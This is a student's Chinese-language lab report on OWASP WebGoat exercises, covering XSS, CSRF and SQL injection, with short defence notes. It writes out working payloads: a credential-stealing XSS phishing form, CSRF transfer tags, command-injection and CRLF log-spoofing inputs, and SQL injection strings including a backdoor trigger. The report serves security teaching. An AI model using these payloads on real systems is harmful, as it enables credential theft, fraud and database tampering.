Exp9 Web安全基础实践
基础问题回答
1、SQL注入攻击原理,如何防御?
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
2、XSS攻击的原理,如何防御?
在表单提交或者url参数传递前,对需要的参数进行过滤;
检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
3、CSRF攻击原理,如何防御?
通过referer、token或者验证码来检测用户提交;
尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
避免全站通用的cookie,严格设置cookie的域。
实践内容
关于WebGoat
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。
在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat。
显示结果为WebGoat未安装。
使用 sudo apt-get install default-jre
安装默认的 jre
:
在使用命令 wget https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0-SNAPSHOT-war-exec.jar
下载WebGoat:
使用命令 java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
运行WebGoat:
结果webgoat中没有任何功能。
发现原因是kali下没有java环境,可参考java环境安装安装java环境:
java环境安装完成。
再次运行 java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
启动WebGoat:
XSS攻击
1、Phishing with XSS
跨站脚本攻击最大的魅力是通过html注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
在webgoat找到xss攻击打开Phishing with XSS(第一个):
编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
将这段代码输入到输入框中,点击search出现如下登录框:
在登录框中输入用户名、密码:
2、Stored XSS Attacks
我们的目标是要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,这个很容易啊,在上个实验中我们也做过,直接在title里随便输点啥,然后在message中输入一串代码,比如:
点击提交后,在点击Message List下的20155216:
3、Reflected XSS Attacks
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
在输入框中输入内容:
点击Purchase:
CSRF攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
1、Cross Site Request Forgery(CSRF)
查看页面右边Parameters中的src和menu值。
message框中输入代码: <img src=\'attack?Screen=src值&menu=menu值&transferFunds=转账数额\' width=\'1\' height=\'1\'>
:
点击下发的20155216:
显示攻击成功。
2、CSRF Prompt By-Pass
message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
攻击成功。
Injection Flaws
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
1、Command Injection
这个题是要求能够在目标主机上执行系统命令,我们可以通过火狐浏览器下的一个扩展Firebug(就是右上角的小虫的标志)对源代码进行修改,若无Firebug,可在火狐浏览器添加工具中下载、安装、添加。例如在BackDoors.help旁边加上"& netstat -an & ipconfig":
选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:
2、Numeric SQL Injection
我们要通过注入SQL字符串的方式查看所有的天气数据,我们上次实验做过类似的,只要加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:
选中Columbia,点Go,可以看到所有天气数据:
3、Log Spoofing
我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入 lx%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符:
攻击成功。
4、 String SQL Injection
基于select语句构造SQL注入字符串,在文本框中输入 \' or 1=1 --
:
5、Database Backdoors
先输一个101,得到了该用户的信息:
可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句: 101; update employee set salary=5216
,成功把该用户的工调整到了5216:
接下来使用语句 101;CREATE TRIGGER lxBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=\'12345678@qq.com\' WHERE userid = NEW.userid
创建一个后门,把表中所有的邮箱和用户ID都改写:
显示注入成功。
实验总结与体会
本次实验部分时间花在了对java环境的安装以及对webgoat安装上,可能是用的kali源有问题,每次环境调试都要花很多时间。
通过本次对webgoat各种攻击的学习和练习,让我掌握了很多种攻击方式,以前只是学过相应的理论知识,而在本次实验中得以亲身实践,还是非常有趣的。本次实验主要的练习范围是三大最常见的攻击:XSS攻击,CSRF攻击和SQL注入攻击。通过实践对这三种攻击有了更深的认识,并在以后会尝试练习更多的攻击种类和对感兴趣的攻击展开更加深入的研究。